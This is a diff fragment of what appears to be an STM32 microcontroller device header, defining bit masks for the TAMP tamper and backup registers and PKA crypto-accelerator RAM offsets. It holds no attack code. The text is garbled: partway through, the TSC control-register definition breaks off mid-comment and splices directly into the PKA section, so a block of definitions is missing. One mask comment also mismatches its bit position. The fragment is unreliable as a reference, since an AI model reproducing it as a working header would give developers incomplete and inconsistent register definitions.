TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21UL) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22UL) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23UL) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24UL) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26UL) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27UL) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28UL) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0UL) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1UL) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2UL) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3UL) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4UL) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5UL) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6UL) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7UL) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16UL) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17UL) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18UL) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20UL) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21UL) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22UL) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23UL) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24UL) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26UL) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27UL) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28UL) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk + +/******************** Bits definition for TAMP_COUNTR register ***************/ +#define TAMP_COUNTR_Pos (16UL) +#define TAMP_COUNTR_Msk (0xFFFFUL << TAMP_COUNTR_Pos) /*!< 0xFFFF0000 */ +#define TAMP_COUNTR TAMP_COUNTR_Msk + +/******************** Bits definition for TAMP_ERCFGR register ***************/ +#define TAMP_ERCFGR0_Pos (0UL) +#define TAMP_ERCFGR0_Msk (0x1UL << TAMP_ERCFGR0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR0 TAMP_ERCFGR0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0UL) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0UL) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0UL) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0UL) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0UL) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0UL) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0UL) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0UL) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0UL) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0UL) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0UL) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0UL) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0UL) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0UL) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0UL) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0UL) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0UL) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0UL) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0UL) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0UL) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0UL) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0UL) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0UL) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0UL) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0UL) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0UL) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0UL) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0UL) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0UL) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0UL) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0UL) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0UL) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* Touch Sensing Controller (TSC) */ +/* */ +/******************************************************************************/ +/******************* Bit definition for TSC_CR register *********************/ +#define TSC_CR_TSCE_Pos (0UL) +#define TSC_CR_TSCE_Msk (0x1UL << TSC_CR_TSCE_Pos) /*!< 0x00000001 */ +#define TSC_CR_TSCE TSC_CR_TSCE_Msk /*!>2) /*!< Input modulus number of bits */ +#define PKA_MONTGOMERY_PARAM_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Compute Montgomery parameter output data */ +#define PKA_MONTGOMERY_PARAM_OUT_PARAMETER ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output Montgomery parameter */ + +/* Compute modular exponentiation input data */ +#define PKA_MODULAR_EXP_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent number of bits */ +#define PKA_MODULAR_EXP_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_EXP_IN_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_IN_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ +#define PKA_MODULAR_EXP_IN_EXPONENT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process */ +#define PKA_MODULAR_EXP_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT_BASE ((0x16C8UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT ((0x14B8UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process protected exponentiation*/ +#define PKA_MODULAR_EXP_PROTECT_IN_MODULUS ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus to process protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_PHI ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input phi to process protected exponentiation */ + +/* Compute modular exponentiation output data */ +#define PKA_MODULAR_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_ERROR ((0x1298UL - PKA_RAM_OFFSET)>>2) /*!< Output error of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_OUT_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Output base of the exponentiation */ + +/* Compute ECC scalar multiplication input data */ +#define PKA_ECC_SCALAR_MUL_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input curve prime order n number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_SCALAR_MUL_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' of KP */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_N_PRIME_ORDER ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input prime order n */ + +/* Compute ECC scalar multiplication output data */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Point check input data */ +#define PKA_POINT_CHECK_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_POINT_CHECK_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_POINT_CHECK_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_POINT_CHECK_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_POINT_CHECK_IN_MOD_GF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_POINT_CHECK_IN_MONTGOMERY_PARAM ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Point check output data */ +#define PKA_POINT_CHECK_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ + +/* ECDSA signature input data */ +#define PKA_ECDSA_SIGN_IN_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_SIGN_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_SIGN_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECDSA_SIGN_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_SIGN_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input k value of the ECDSA */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_SIGN_IN_HASH_E ((0x0FE8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_SIGN_IN_PRIVATE_KEY_D ((0x0F28UL - PKA_RAM_OFFSET)>>2) /*!< Input d, private key */ +#define PKA_ECDSA_SIGN_IN_ORDER_N ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA signature output data */ +#define PKA_ECDSA_SIGN_OUT_ERROR ((0x0FE0UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_R ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Output signature r */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_S ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Output signature s */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_X ((0x1400UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point X coordinate */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_Y ((0x1458UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point Y coordinate */ + +/* ECDSA verification input data */ +#define PKA_ECDSA_VERIF_IN_ORDER_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_VERIF_IN_MOD_NB_BITS ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_VERIF_IN_A_COEFF_SIGN ((0x0468UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_A_COEFF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_MOD_GF ((0x04D0UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_X ((0x0678UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_Y ((0x06D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_X ((0x12F8UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point X coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_Y ((0x1350UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point Y coordinate */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_R ((0x10E0UL - PKA_RAM_OFFSET)>>2) /*!< Input r, part of the signature */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_S ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input s, part of the signature */ +#define PKA_ECDSA_VERIF_IN_HASH_E ((0x13A8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_VERIF_IN_ORDER_N ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA verification output data */ +#define PKA_ECDSA_VERIF_OUT_RESULT ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* RSA CRT exponentiation input data */ +#define PKA_RSA_CRT_EXP_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operands number of bits */ +#define PKA_RSA_CRT_EXP_IN_DP_CRT ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input Dp CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_DQ_CRT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input Dq CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_QINV_CRT ((0x0948UL - PKA_RAM_OFFSET)>>2) /*!< Input qInv CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_PRIME_P ((0x0B60UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime p */ +#define PKA_RSA_CRT_EXP_IN_PRIME_Q ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime q */ +#define PKA_RSA_CRT_EXP_IN_EXPONENT_BASE ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ + +/* RSA CRT exponentiation output data */ +#define PKA_RSA_CRT_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular reduction input data */ +#define PKA_MODULAR_REDUC_IN_OP_LENGTH ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input operand length */ +#define PKA_MODULAR_REDUC_IN_MOD_LENGTH ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus length */ +#define PKA_MODULAR_REDUC_IN_OPERAND ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand */ +#define PKA_MODULAR_REDUC_IN_MODULUS ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Modular reduction output data */ +#define PKA_MODULAR_REDUC_OUT_RESULT ((0xE78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic addition input data */ +#define PKA_ARITHMETIC_ADD_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic addition output data */ +#define PKA_ARITHMETIC_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) 